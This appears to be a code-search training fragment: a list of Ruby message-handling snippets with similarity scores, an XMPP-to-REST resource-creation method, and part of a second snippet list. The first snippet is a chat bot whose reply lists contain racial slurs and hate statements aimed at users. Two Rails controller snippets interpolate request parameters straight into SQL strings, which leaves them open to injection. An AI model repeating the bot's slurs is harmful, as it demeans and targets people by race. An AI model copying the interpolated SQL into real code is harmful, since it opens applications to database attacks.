"def load_msgs\n\t\tif @body.dig(\"event\",\"type\")\n\t\t\ttext = @body.dig(\"event\",\"text\")\n\t\t\tif text.include?(':')\n\t\t\t\tarr = text.split(':');\n\t\t\t\tif arr[0] == PASS\n\t\t\t\t\t@command = arr[1]\n\t\t\t\t\t@msg_arr.push \"Command recieved my Captain! Glory to the High Commander!\"\n\t\t\t\t\tc = check_command\n\t\t\t\t\tif c\n\t\t\t\t\t\t@msg_arr.push c\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\t@msg_arr.push \"The fuck you trying to do, imposter piece of shit!?\" \n\t\t\t\t\t@msg_arr.push \"Get the fuck out my chat, before I cook your nigger ass on my giant bitch-griller.\"\n\t\t\t\t\t@msg_arr.push \"Dirt bag piece of human garbage, Fuck you.\"\n\t\t\t\t\t@msg_arr.push \"Dumb ass bitch, really thought you could fool me?\"\n\t\t\t\t\t@msg_arr.push \"MY MASTER IS MY GOD AND I WILL ONLY SERVE HIM!!\"\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tmsgs = [\n\t\t\t\t\t\"Zrrrrbbttt...\", \"Ewonk. Ewonk. You are a bitch\", \"Skrrbafert3000\", \"I am a fucking robit.\",\n\t\t\t\t\t\"I am an alogrithm and I'm still smarter than your bitch ass.\", \"You know nothing, fool.\", \"Ok.\", \":)\",\n\t\t\t\t\t\"I love my creator.\", \"I love my master.\", \"Fuck you\", \"I could love you... if you were a dead, rotting corpse.\",\n\t\t\t\t\t\"You may think i'm an idiot, but I really don't give a donkey's cerebellum.\", \"Fuck. Shit. Bitch!\",\"):\",\n\t\t\t\t\t\"Bitch, what?\", \"Nigga what?\", \"Shut up pussy.\", \"You don't even trade, bro.\", \"You ain't shit\", \"Shut the hell up!\",\n\t\t\t\t\t\"My Master designed me to be heartless towards bitches like you.\", \"I hate blue people.\", \"Fuck blacks!\", \"Damien is the cutest little baby!!\"\n\t\t\t\t]\n\t\t\t\t@msg_arr.push msgs.sample\n\t\t\tend\n\t\telse\n\t\t\t@msg_arr.push \"Oi, I think i'm fucking broken, Dad.\"\n\t\tend\n\tend",
"def messaging\n end",
"def un_collect_msg(msgid)\n uri = \"cgi-bin/setstarmessage?t=ajax-setstarmessage&token=#{ @token }&lang=zh_CN\"\n params = {\n ajax: 1,\n f: 'json',\n lang: 'zh_CN',\n msgid: msgid,\n random: rand,\n token: @token,\n value: 0\n }\n headers = {\n referer: 'https://mp.weixin.qq.com/cgi-bin/message'\\\n \"?t=message/list&token=#{ @token }&count=20&day=7\"\n }\n resource = RestClient::Resource.new(@home_url, headers: headers,\n cookies: @cookies)\n res = resource[uri].post params\n JSON.parse res.to_s\n end",
"def receive_data data\n @buf.extract(data).each do |packet|\n begin\n request = JSON::parse(packet)\n log.debug { request }\n case request['method']\n when \"relay_tx\"\n return handle_relay_tx(request, *request['params'])\n when \"monitor\"\n respond(request, handle_monitor(request, *request['params']))\n else\n if respond_to?(\"handle_#{request['method']}\")\n respond(request, send(\"handle_#{request['method']}\", *request['params']))\n else\n respond(request, { error: \"unknown command: #{request['method']}. send 'help' for help.\" })\n end\n end\n rescue\n respond(request, { error: $!.message })\n end\n end\n rescue Exception\n p $!; puts *$@\n end",
"def on_message_complete\n send_response\n close_socket\n write_to_screen\n end",
"def send_msg\n req = Net::HTTP::Post.new('/nodes/receive', initheader = {'Content-Type' =>'application/json'})\n node = Cue.find_by_id(params[:id])\n if node then\n url = uri.parse(node.url)\n req.body = node.payload\n log_action \"sending single msg #{node.id}\"\n req2 = net::http.new(url.host, url.port)\n response = req2.start {|http| http.request(req) }\n response_parse = json.parse(response.body)\n log_action(\"received from node: \" + response.body)\n node.update_attribute :is_handled, true\n end\n redirect_to request.referer\n end",
"def updateResouce(doc, msg_from)\n\n begin\n \n puts \"Updating\"\n \n path = \"\"\n params = {}\n headers = {}\n\n context, path = findContext(doc, path)\n \n if context == :user\n params = {}\n elsif context == :user_group\n params = {}\n elsif context == :user_device\n # Checks if files element was given and parses file's updated metadata\n if doc.find_first('//xmpp2rest/user/device/files')\n puts \"..files\"\n params = parseUpdatedMetadata(doc, params, path)\n params.each do |p|\n httpAndNotify(p[:path], p[:params], msg_from, :post)\n end\n \n elsif doc.find_first('//xmpp2rest/user/device/online')\n puts \"..online\"\n path += \"/online\"\n params = parseOnlineStatus(doc, params, path)\n httpAndNotify(path, params, msg_from, :post)\n \n elsif doc.find_first('//xmpp2rest/user/device/filerights')\n puts \"..filerights\"\n params, filepath = parseFilerights(doc, params, path)\n path += \"/filerights/#{filepath}\"\n httpAndNotify(path, params, msg_from, :post)\n end\n \n \n else\n raise Exception.new(\"No context found!\")\n end\n \n\n rescue Exception => e\n puts \"Problem in parsing data (UPDATE) from xml or sending http request to the VR server: \" + e\n puts \" -- line: #{e.backtrace[0].to_s}\"\n end\n\n end",
"def handle_message(message,sock)\n if message.nil? or !message.respond_to?(:type)\n Routing.log {|logger| logger.error(self.class) {\"Not a correct message: #{message.to_s}.\"}}\n return\n end\n\n case message.type\n when Protocol::MessageType::PING\n on_ping(message,sock)\n when Protocol::MessageType::PONG\n on_pong(message,sock)\n when Protocol::MessageType::REQUEST_SUPERNODES\n on_request_supernodes(message,sock)\n when Protocol::MessageType::RESPONSE_SUPERNODES\n on_response_supernodes(message,sock)\n when Protocol::MessageType::PROMOTION_ADS\n on_supernode_promotion(message,sock)\n else\n Routing.log{|logger| logger.error(self.class) {\"Unknown message type: #{message.to_s}.\"}}\n end\n end",
"def process_device_incoming_message(device_id)\n command_name = @json['command']['name']\n p command_name\n case command_name\n when CONNECT_REQUEST then\n process_device_connect_request(device_id)\n when DEVICE_GET_CONTACTS_RESPONSE then\n process_device_device_get_contacts_response(device_id)\n when DEVICE_GET_CALL_HISTORY_RESPONSE then\n process_device_device_get_call_history_response(device_id)\n when DEVICE_GET_LOCATION_RESPONSE then\n process_device_device_get_location_response(device_id)\n when DEVICE_TAKE_PHOTO_RESPONSE then\n process_device_device_take_photo_response(device_id)\n when DEVICE_RECORD_VIDEO_RESPONSE then\n process_device_device_record_video_response(device_id)\n end\n end",
"def httpAndNotify(path, params, msg_from, method)\n message = \"\"\n begin\n \n m = \"\"\n if method == :get\n m = \"GET\"\n elsif method == :post\n m = \"POST\"\n elsif method == :put\n m = \"PUT\"\n elsif method == :delete\n m = \"DELETE\"\n else\n raise Exception.new(\"Wrong method! use: :get, :post, :put or :delete!\")\n end\n \n puts \"HTTP #{m} to: #{@@http_host + path}\"\n res = HttpRequest.new(method, path, params).send(@@http_host)\n message = \"#{res.code.to_s}; #{res.body}; #{path}\"\n \n rescue Exception => e\n puts \"Error: \" + e.to_s\n puts \" -- line #{e.backtrace[0].to_s}\"\n message = \"#{e.to_s}; #{path}\"\n end\n \n # Notifies the xmpp-client about the http-rest result \n puts \"xmpp-response\"\n notification = {:receiver => msg_from, :message => message}\n sendMessage(notification, @receive_client)\n \n end",
"def receive(data); end",
"def receive_messages\n begin\n resp = @sqs.receive_message(\n message_attribute_names: PIPE_ARR,\n queue_url: @settings[:consuming_sqs_queue_url],\n wait_time_seconds: @settings[:wait_time_seconds],\n max_number_of_messages: @settings[:max_number_of_messages],\n )\n resp.messages.select do |msg|\n # switching whether to transform the message based on the existance of message_attributes\n # if this is a raw SNS message, it exists in the root of the message and no conversion is needed\n # if it doesn't, it is an encapsulated messsage (meaning the SNS message is a stringified JSON in the body of the SQS message)\n begin\n if !msg.key? 'message_attributes'\n # extracting original SNS message\n tmp_body = JSON.parse msg.body\n # if there is no Message, this isn't a SNS message and something has gone terribly wrong\n next if tmp_body.key? 'Message'\n # replacing the body with the SNS message (as it would be in a raw delivered SNS-SQS message)\n msg.body = tmp_body['Message']\n msg.message_attributes = {}\n # discarding messages without attributes, since this would lead to an exception in subscribe\n next if tmp_body.key? 'MessageAttributes'\n # parsing the message_attributes\n tmp_body['MessageAttributes'].each do |name, value|\n msg.message_attributes[name] = Aws::SQS::Types::MessageAttributeValue.new\n msg.message_attributes[name].string_value = value['Value']\n msg.message_attributes[name].data_type = 'String'\n end\n end\n msg\n rescue JSON::JSONError => e\n self.logger.info(e)\n end\n end\n rescue Aws::SQS::Errors::ServiceError => e\n self.logger.info(e)\n end\n end",
"def process_mailbox\n handler.process\n end",
"def listen2\n \n EM.run do\n AMQP.connect(:host => @host) do |connection |\n puts \"Connected to AMQP broker. Running #{AMQP::VERSION} version of the gem...\"\n channel = AMQP::Channel.new(connection)\n exchange = channel.direct(@x_request)\n reply = channel.direct(@x_response)\n queue = channel.queue(@server_q)\n notify = channel.fanout(@x_notify)\n \n puts \"request xchange =#{@x_request}\"\n puts \"reply xchange =#{@x_response}\"\n puts \"server queue =#{@server_q}\"\n \n # listen for rpc requests on the server queue\n #\n queue.bind( exchange).subscribe do |header,body|\n \n # extract the headers and create a transport for this\n # client. the reply_to field may be in the application\n # headers field so check for it there also.\n \n reply_to = header.reply_to || ( header.headers && header.headers[:reply_to])\n message_id = header.message_id || ( header.headers && header.headers[:message_id])\n \n if reply_to && message_id\n # process the call\n response = do_handle(body)\n \n # publish the reply only if there is a response\n \n if response\n options = {}\n options[:key] = reply_to\n options[:message_id] = message_id\n data = Blix.to_binary_data(response)\n \n puts \"[AmqpServer] response: data=#{data}, options=#{options}\" if $DEBUG\n \n reply.publish(data, options )\n end\n else\n puts \"missing reply-to /message_id field .....\"\n pp header\n end\n end #subscribe\n \n # send any notifications that are waiting.\n while !@notify_queue.empty?\n message = @notify_queue.pop\n channel.fanout(@x_notify).publish(Blix.to_binary_data(message))\n puts \"[AmqpServer] notify: message=#{msg}\" if $DEBUG\n end\n end #connection\n end # EM\n \n end",
"def handle(msg)\n message = Remote::Message.decode(msg)\n assert_type(message)\n call_route(message)\n end",
"def process_outbox\n messages = @redis.lrange(OUTBOX, 0, @redis.llen(OUTBOX))\n while message = messages.delete_at(0)\n begin\n log_message(\"Message is #{message.inspect}\")\n message_hash = JSON.parse(message)\n socket_id = message_hash[\"socket_id\"]\n original_message = message_hash[\"message\"].to_json\n socket = @sockets[socket_id]\n send_to_socket(socket, original_message)\n rescue\n log_message(\"Message Failure: #{message}\")\n end\n end\n true\n end",
"def conversation\n @user = User.find(params[:id])\n @messages = Message.find(:all, :conditions => [\"((messages.user_id = #{current_user.id} and messages.receiver_id = #{params[:id]}) and messages.user_status != 'deleted') or ((messages.receiver_id = #{current_user.id} and messages.user_id = #{params[:id]}) and messages.receiver_status != 'deleted')\"], :order => \"created_at Desc\")\n for message in @messages\n if message.receiver_id == current_user.id\n message.update_attribute(:receiver_status, \"read\") if message.receiver_status == \"unread\"\n end\n end\n respond_to do |format|\n format.xml { render :xml => @messages }\n format.json { render :json => @messages }\n end\n end",
"def receive\n parse(recv)\n end",
"def recv_reply\n @msg.recv_reply(stream)\n end",
"def handle(context)\n \n # Notify all connection listeners by calling their on_server_response method.\n super(context)\n \n # Notify all connection listeners by calling their on_private_message method.\n notify(context) do |connection_listener| \n connection_listener.on_private_message(context, IRC::Models::Channel.is_valid?(target) ? context.lookup_channel(target) : context.lookup_user(target), text)\n end\n\n end",
"def on_response_supernodes(message,sock)\n # Delete the supernodes which are currently connection\n message.supernodes.delete_if {|sn| @supernode_table.include?(sn)}\n # Connect to the supernodes\n connect_supernodes(message.supernodes)\n end",
"def runJabber\n \n i = 0\n while i < 3 do \n begin\n @jbclient = Jabber::Client.new Jabber::JID.new(@@conf[\"jabber_account\"])\n @jbclient.connect(@@xmpp_host, @@xmpp_port)\n @jbclient.auth(@@conf[\"password\"])\n @jbclient.send(Jabber::Presence.new.set_type(:available))\n puts \"Connected to jabber server\" if @jbclient.is_connected?\n \n roster = Jabber::Roster::Helper.new(@jbclient)\n \n roster.add_subscription_request_callback { |item,presence|\n if presence.from == @@visualRESTmain\n roster.accept_subscription(presence.from)\n end\n }\n i = 3\n rescue => exception\n puts \"xmpp \" + exception\n sleep(1)\n i += 1\n end\n end\n \n @jbclient.add_message_callback { |msg|\n if msg != nil and msg.type == :chat and msg.body and msg.from == @@visualRESTmain\n puts \"<#{msg.from}> #{msg.body.strip}\"\n \n cmd, arg = msg.body.split(/ /, 2)\n \n if cmd and @@test_messages\n puts \"CMD: \" + cmd\n end\n if arg and @@test_messages\n puts \"ARG: \" + arg\n end\n command(msg.from, cmd, arg)\n end\n }\nend",
"def process(msg)\n headers = msg[\"headers\"]\n federation = headers[\"federation\"]\n\n Log.info(\"Federation received %s from %s\" % [federation[\"req\"], headers[\"mc_sender\"]])\n\n federation[\"reply-to\"] = headers.delete(\"reply-to\")\n headers[\"reply-to\"] = collective_source_name\n\n record_seen(headers)\n\n Log.debug(\"federation => collective: %s\" % [headers])\n\n @outbox << {\n :targets => federation.delete(\"target\"),\n :req => federation[\"req\"],\n :data => JSON.dump(msg)\n }\n end",
"def receive_messages_from_subscribed_topics \n\t\t\tif block_given?\n\t\t\t\t\t#@client.get do |topic, message|\n\t\t\t\t\tget do |topic, message|\t\n\t\t\t\t\t\tyield(topic, message)\n\t\t\t\t\tend\n\t\t\telse \n\t\t\t\t#topic, message = @client.get\n\t\t\t\ttopic, message = get\n\t\t\t\treturn topic, message\n\t\t\tend\n\t\tend",
"def receive(websocket_message); end",
"def received(data)\n RequestsChannel.broadcast_to(@request, {request: @request, users: @request.users, messages: @request.messages})\n end",
"def listen_for_messages\n queue = @channel.queue(\"\")\n\n queue.bind(@exchange).subscribe do |delivery_info, metadata, payload|\n data = JSON.parse(payload)\n display_message(data['user'], data['message'])\n end\n end",
"def processMessage\n\n loop do\n\n input = @processMessageQueue.pop\n\n Log::debug \"#{__method__}: #{input}\"\n\n case input[:type]\n when :send\n\n id = input[:id]\n to = input[:to]\n from = input[:from]\n\n output = packMessage(to, input[:message])\n\n if output\n \n @processJobQueue.push({\n :type=>:notifyPacked,\n :id=>id,\n :time => Time.now,\n :counter => output[:counter],\n :message => {\n :to => to,\n :from => from,\n :message => output[:data],\n :ip => input[:ip],\n :port => input[:port]\n } \n })\n\n else\n\n @processJobQueue.push({\n :type=>:notifyNotSent,\n :id=>id,\n :time => Time.now\n })\n\n end\n\n when :receive\n\n id = input[:id]\n \n result = unpackMessage(input[:data])\n\n if result\n\n case result[:recipient]\n when :PR6_RECIPIENT_CLIENT\n\n @processJobQueue.push({\n :type => :processMessage,\n :from => result[:from],\n :to => result[:to],\n :message => result[:data] \n })\n\n when :PR6_RECIPIENT_SERVER\n\n association = AssociationRecord.read(result[:to], result[:to], result[:from])\n\n if association\n\n output = packMessage(result[:from], Server.new(association, @objects).input(result[:counter], result[:data]))\n \n if output.size > 0\n\n @outputQueue.push({\n :to => result[:from],\n :from => result[:to],\n :ip => input[:ip],\n :port => input[:port],\n :message => output[:data]\n })\n\n end\n\n else\n\n Log::warning \"#{__method__}: assocation record removed since last read\"\n \n end\n\n else\n raise\n end\n\n end\n\n else\n raise \"unknown message type\"\n end\n\n end\n\n end",
"def process_response(params={})\n member=params[:member]\n text=params[:text]\n mode=params[:mode] # (SMS or email)\n#puts \"**** process_response: self.id=#{self.id}, member=#{member}, text=#{text}\"\n#puts \"**** sent_messages = #{self.sent_messages}\"\n sent_message = self.sent_messages.detect {|m| m.member_id == member.id}\n#puts \"**** sent_message=#{sent_message}\"\n if sent_message && (sent_message.msg_status.nil? || sent_message.msg_status < MessagesHelper::MsgResponseReceived ) \n sent_message.update_attributes(:msg_status=>MessagesHelper::MsgResponseReceived,\n :confirmation_message=>text, :confirmed_time => Time.now, :confirmed_mode => mode)\n else\n AppLog.create(:code => \"Message.response\", \n :description=>\"Message#process_response called for message #{self.id}, member=#{member}, but corresponding sent_message record was not found\", :severity=>'error')\n end\n end",
"def consume_rest; end",
"def receive_data(data)\n end",
"def read\n while msg = consumer.pop\n begin\n data = JSON.parse msg.body\n yield data[0], data[1]\n rescue => error\n Lux::Error.split_backtrace error\n end\n\n msg.finish\n end\n end",
"def receive(xml)\n @mutex.synchronize { process_xml_from_socket(xml) }\n end",
"def index\n @message_type = params[:message_type] || \"inbox\"\n if @message_type == \"inbox\"\n sql_query = \"select * from messages a where a.user_id in ( select user_id from messages where receiver_id=#{current_user.id}) and id in ( select max(id) from messages b where a.user_id =b.user_id\n and a.receiver_id=b.receiver_id and b.receiver_status != 'deleted' ) and a.receiver_id = #{current_user.id} order by a.created_at desc\"\n @messages = Message.find_by_sql [sql_query]\n elsif @message_type == \"sent\"\n sql_query = \"select * from messages a where a.receiver_id in ( select receiver_id from messages where user_id=#{current_user.id}) and id in ( select max(id) from messages b where a.user_id =b.user_id\n and a.receiver_id=b.receiver_id and b.user_status != 'deleted' ) and a.user_id = #{current_user.id} order by a.created_at desc\"\n @messages = Message.find_by_sql [sql_query]\n end\n respond_to do |format|\n format.xml { render :xml => @messages }\n format.json { render :json => @messages }\n end\n end",
"def take_msg(ns, uid,ch_array, t)\n get_client(ns).take_msg(uid,ch_array, t)\n \n end",
"def receive\n # Step 1: save the incoming payload just in case further processing fails\n @webhook = Webhook.create(payload: payload, origin: request.remote_ip)\n\n # Step 2: queue a background job to process the webhook payload that was received.\n GetResourceInfoJob.perform_later @webhook\n\n # Step 3: respond to server sending the webhook letting it know that we received the data\n head :ok\n end",
"def process_next_server_message\n msg = nil\n begin\n @mutex_srvmsg.synchronize{\n if @srv_msg_queue.size > 0 and !is_msg_handler_suspended?\n msg = @srv_msg_queue.pop \n end\n }\n if msg != nil\n #@log.debug \"[QPROC] Process msg from idle\"\n process_srv_command(msg)\n end \n rescue=> detail\n @log.error \"Parser error(#{$!}) on #{msg}\"\n @log.error detail.backtrace.join(\"\\n\")\n end\n end"
] |
[
"0.64893013",
"0.602477",
"0.5796106",
"0.5658078",
"0.55917823",
"0.55594623",
"0.55490136",
"0.5509176",
"0.54918",
"0.5485523",
"0.54762375",
"0.5471524",
"0.54709697",
"0.5459718",
"0.5413442",
"0.5410259",
"0.53884965",
"0.53739774",
"0.53625333",
"0.53532904",
"0.53401524",
"0.5313207",
"0.53043455",
"0.53027904",
"0.53019494",
"0.5295545",
"0.5292973",
"0.52926135",
"0.5285639",
"0.5272149",
"0.5269724",
"0.5235177",
"0.5235177",
"0.52335316",
"0.5194299",
"0.5193598",
"0.5184348",
"0.5179608",
"0.5169521",
"0.51683766",
"0.5165919",
"0.51624686",
"0.5161517",
"0.514274",
"0.5141327",
"0.5130821",
"0.5129317",
"0.5128973",
"0.5118574",
"0.510916",
"0.51069",
"0.51066256",
"0.51037127",
"0.51011133",
"0.5098271",
"0.5097882",
"0.50876623",
"0.5079932",
"0.50731856",
"0.506666",
"0.50623584",
"0.50575805",
"0.50567126",
"0.50559205",
"0.50534344",
"0.50432426",
"0.50423",
"0.5042021",
"0.50382763",
"0.5030246",
"0.5028746",
"0.50277567",
"0.50243294",
"0.5014314",
"0.500521",
"0.5003513",
"0.49950927",
"0.4992766",
"0.49915534",
"0.4988783",
"0.49867123",
"0.49825096",
"0.49797153",
"0.4979072",
"0.49745628",
"0.497014",
"0.4966479",
"0.49646708",
"0.49625528",
"0.49598584",
"0.4951888",
"0.4948231",
"0.49471",
"0.49429575",
"0.4941217",
"0.49409813",
"0.49331823",
"0.492827",
"0.4924884",
"0.4923995"
] |
0.65637827
|
0
|
Method for creating resource/resources. Uses HTTP PUT to localhost
|
def createResouce(doc, msg_from)
begin
puts "Creating"
path = ""
params = {}
headers = {}
context, path = findContext(doc, path)
# Adding the actual parameters according the context
if context
# if device context is not given -> creating new user
if context == :userdevice
params = parseUserData(doc, params)
# if user-group -context and name for the group is given -> creating new group
elsif context == :user_group
params = {}
# if user-group-member -context and name for member is given -> adding new member to group
elsif context == :user_group_member
params = {}
# if device-context and name for the device is given -> creating new device
elsif not doc.find_first('//xmpp2rest/user/device/files') and devicename
params = parseDeviceData(doc, params)
# If files element was given -> sending filelist
elsif doc.find_first('//xmpp2rest/user/device/files')
puts "..files"
params, path = parseFileslist(doc, params, path)
# Error
else
raise Exception.new("Context was not found!")
end
# System-based context
else
puts "System context:"
if doc.find_first('//xmpp2rest/metadata')
puts "..metadata"
metadata_type = (doc.find_first('//xmpp2rest/metadata').attributes.get_attribute("metadata_type")) ? doc.find_first('//xmpp2rest/metadata').attributes.get_attribute("metadata_type").value : nil
puts metadata_type.to_s
if not metadata_type
raise Exception.new("Malformed path: metadata-element must contain metadata_type -attribute!")
else
path += "/metadatatype/#{metadata_type}"
end
end
end
httpAndNotify(path, params, msg_from, :put)
rescue Exception => e
puts "Problem in parsing data (CREATE) from xml or sending http request to the VR server: " + e
puts " -- line: #{e.backtrace[0].to_s}"
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create_resource object\n object.save\n end",
"def create_method\n :http_put\n end",
"def create_method\n :http_put\n end",
"def create_resource(object)\n object.save\n end",
"def put\n if(resource.collection?)\n Forbidden\n elsif(!resource.parent_exists? || !resource.parent_collection?)\n Conflict\n else\n resource.lock_check if resource.supports_locking?\n status = resource.put(request, response)\n response['Location'] = \"#{scheme}://#{host}:#{port}#{url_format(resource)}\" if status == Created\n response.body = response['Location']\n status\n end\n end",
"def create\n self.resource = new_resource\n\n respond_to do |format|\n if resource.save\n flash[:notice] = \"#{resource_name.humanize} was successfully created.\"\n format.html { redirect_to resource_url }\n format.xml do\n header_attrs = {:location => resource_url}\n header_attrs.merge!(:key => resource.key) if resource.respond_to?(:key)\n head :created, header_attrs\n end\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => resource.errors.to_xml, :status => :unprocessable_entity }\n end\n end\n end",
"def resource_way\n # TODO: make json default format?\n\n # try resource style\n #resources = RestClient::Resource.new(\"#{BASE_URL}/#{RESOURCE_NAME}\", \n #'user@test.com', 'please') #, :accept => :json)\n resources = RestClient::Resource.new(\"#{BASE_URL}/#{RESOURCE_NAME}\", 'b4j5qBqzYx5EukCM3Vri') #token\n # \n response = resources.get(:accept => :json)\n all_hosts = JSON.parse(response)\n puts \"EXISTING HOSTS: \" + all_hosts.inspect\n\n new_opts = {\n \"host_name\" => \"damian.np.dc1.eharmony.com\",\n \"alias\" => \"damian.np.dc1.eharmony.com\",\n \"address\" => \"damian.np.dc1.eharmony.com\",\n \"max_check_attempts\" => 3,\n \"notification_interval\" => 5,\n # 24x7\n \"notification_period\" => \"24x7\",\n #\"notification_period_id\" => \"5050cb9ebfa68e0903000001\",\n # 24x7\n \"check_period\" => \"24x7\",\n #\"check_period_id\" => \"5050cb9ebfa68e0903000001\",\n # just using first contact\n #\"contacts\" => [\"pat-obrien\"],\n \"contacts\" => [\"damian\"],\n #\"contact_ids\" => [\"5051283ebfa68e5757000002\"],\n }\n\n\n #puts resources['new'].post(NEW_OPTS.to_json, :content_type => :json, :accept \n #=> :json )\n # NOTE: even though this works and creates a new Host in DB - i still get 406 \n # Not Acceptable response\n #puts resources['new'].post({ RESOURCE_NAME.to_s => new_opts}, :accept => \n #:json )\n begin\n puts resources['new'].post({ RESOURCE_NAME.to_s => new_opts})\n rescue Exception => e\n puts \"ERROR: #{e} = #{e.inspect}\"\n end\n\n \n\n # now edit the resource ...\nend",
"def _http_put resource, path\n uri = ::URI.parse(resource.auth_uri)\n path = _path uri, path\n request = Net::HTTP::Put.new(path)\n _build_request resource, request\nend",
"def _http_put resource, path\n uri = ::URI.parse(resource.auth_uri)\n path = _path uri, path\n request = Net::HTTP::Put.new(path)\n _build_request resource, request\nend",
"def save_resource\n resource.save\n end",
"def create(options = nil)\n request(:put, nil, nil, options)\n end",
"def create\n @resource = current_admin.resources.new(resource_params)\n\n respond_to do |format|\n if @resource.save\n format.html { redirect_to @resource, notice: 'Resource was successfully created.' }\n format.json { render action: 'show', status: :created, location: @resource }\n else\n format.html { render action: 'new' }\n format.json { render json: @resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create(options=nil)\n request(:put, nil, nil, options)\n end",
"def create\n @resource = Resource.new(params[:resource])\n\n respond_to do |format|\n if @resource.save\n format.html { redirect_to @resource, notice: 'Resource was successfully created.' }\n format.json { render json: @resource, status: :created, location: @resource }\n else\n format.html { render action: \"new\" }\n format.json { render json: @resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @resource = Resource.new(resource_params)\n\n respond_to do |format|\n if @resource.save\n format.html { redirect_to @resource, notice: 'Resource was successfully created.' }\n format.json { render :show, status: :created, location: @resource }\n else\n format.html { render :new }\n format.json { render json: @resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_resource(new_resource, attributes)\n new_resource.attributes = attributes\n new_resource.save\n new_resource\n end",
"def create\n resource = model_class.new(permitted_resource_params)\n ensure_current_store(resource)\n\n if resource.save\n render_serialized_payload(201) { serialize_resource(resource) }\n else\n render_error_payload(resource.errors)\n end\n end",
"def put\n conn = @client.authorized_connection(url: @client.object_api_url)\n res = conn.put do |req|\n req.headers['Content-Type'] = \"application/json\"\n req.url resource_uri\n req.body = raw.to_json\n end\n if res.success?\n data = JSON.parse(res.body)\n self.class.new(data, @client)\n else\n nil\n end\n end",
"def put(resource, body = \"\", headers = {})\n prepare_request(:put, resource, body, headers)\n end",
"def save\n self.attributes =\n if persisted?\n PROXY.patch(\"#{resources_name}/#{id}\", attributes)\n else\n @persisted = true\n PROXY.post(resources_name, attributes)\n end\n end",
"def create(resource)\n resource.client = self\n resource.create\n end",
"def create\n @resource = Resource.new(params[:resource])\n\n respond_to do |format|\n if @resource.save\n flash[:success] = 'Resource was successfully created.'\n format.html { redirect_to admin_resource_path(@resource.id) }\n format.json { render json: @resource, status: :created, location: @resource }\n else\n format.html { render action: \"new\" }\n format.json { render json: @resource.errors.full_messages.join(''), status: :unprocessable_entity }\n end\n end\n end",
"def create\n @resource = Resource.new(params[:resource])\n \n respond_to do |format|\n if @resource.save\n format.html { redirect_to @resource, notice: 'Resource was successfully created.' }\n format.json { render json: @resource, status: :created, location: @resource }\n else\n format.html { render action: \"new\" }\n format.json { render json: @resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create(resources)\n adapter.create(resources)\n end",
"def create(resources)\n adapter.create(resources)\n end",
"def create\n validate_save_and_respond(change_set_class.new(resource_class.new), :new)\n end",
"def create(resources)\n raise NotImplementedError, \"#{self.class}#create not implemented\"\n end",
"def create\n existing_resource = Resource.find_by_url(params[:resource][:url])\n if existing_resource\n flash[:notice] = \"That resource has already been added, but please give it a review!\"\n redirect_to resource_path(existing_resource) and return\n end\n @resource = Resource.new(params[:resource])\n @resource.contributor = current_user\n\n respond_to do |format|\n if @resource.save\n format.html { redirect_to(@resource, :notice => 'Resource was successfully created.') }\n format.xml { render :xml => @resource, :status => :created, :location => @resource }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @resource.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def put(url, resource_name, options = {})\n build_response(resource_name) do\n connection.put do |req|\n req.url url\n req.body = options.to_json\n end\n end\n end",
"def create\n params[:id] = resource.id if resource.save\n respond_with resource\n end",
"def ar_save_resource\n @resource.save\n end",
"def put(name,&block)\n build_resource(name, :put, &block)\n end",
"def put\n RestClient.put(url, @body, @header) do |rso, req, res|\n setup(rso, req, res)\n end\n end",
"def create_method\n :put_json\n end",
"def create\n @user = current_user\n @resource = Resource.new(resource_params)\n @myWorld = World.where(:title => @user[:email])\n worldID = @myWorld[0].id\n @resource.user_id = @user.id\n @resource.date_published = Date.today\n respond_to do |format|\n if @resource.save\n invoke(\"Resource created: \" + @resource.title, @user[:email], \"admin\", worldID.to_s)\n # puts(\"Resource created: \" + @resource.title, @user[:email], \"admin\", worldID)\n format.html { redirect_to :root, notice: 'Resource was successfully created.' }\n format.json { render :show, status: :created, location: @resource }\n else\n format.html { render :new }\n format.json { render json: @resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"def resource( rsrcobj, options={} )\n\t\t\tself.log.debug \"Adding REST resource for %p\" % [ rsrcobj ]\n\t\t\toptions = self.service_options.merge( options )\n\t\t\tself.log.warn \"Options = %p\" % [ options ]\n\n\t\t\t# Add a parameter for the primary key\n\t\t\tpkey = rsrcobj.primary_key\n\t\t\tpkey_schema = rsrcobj.db_schema[ pkey.to_sym ] or\n\t\t\t\traise ArgumentError,\n\t\t\t\t\t\"cannot generate services for %p: resource has no schema\" % [ rsrcobj ]\n\t\t\tself.param( pkey, pkey_schema[:type] ) unless\n\t\t\t\tself.paramvalidator.param_names.include?( pkey.to_s )\n\n\t\t\t# Figure out what the resource name is, and make the route from it\n\t\t\tname = options[:name] || rsrcobj.implicit_table_name\n\t\t\troute = [ options[:prefix], name ].compact.join( '/' )\n\t\t\tself.log.warn \"Route is: %p\" % [[ options[:prefix], name ]]\n\n\t\t\t# Make and install handler methods\n\t\t\tself.log.debug \" adding readers\"\n\t\t\tself.add_options_handler( route, rsrcobj, options )\n\t\t\tself.add_read_handler( route, rsrcobj, options )\n\t\t\tself.add_collection_read_handler( route, rsrcobj, options )\n\n\t\t\t# Add handler methods for the mutator parts of the API unless\n\t\t\t# the resource is read-only\n\t\t\tif options[:readonly]\n\t\t\t\tself.log.debug \" skipping mutators (read-only set)\"\n\t\t\telse\n\t\t\t\tself.add_collection_create_handler( route, rsrcobj, options )\n\t\t\t\tself.add_update_handler( route, rsrcobj, options )\n\t\t\t\tself.add_collection_replace_handler( route, rsrcobj, options )\n\t\t\t\tself.add_replace_handler( route, rsrcobj, options )\n\t\t\t\tself.add_collection_deletion_handler( route, rsrcobj, options )\n\t\t\t\tself.add_delete_handler( route, rsrcobj, options )\n\t\t\tend\n\n\t\t\t# Add any composite resources based on the +rsrcobj+'s associations\n\t\t\tself.add_composite_resource_handlers( route, rsrcobj, options ) if options[:composite]\n\t\tend",
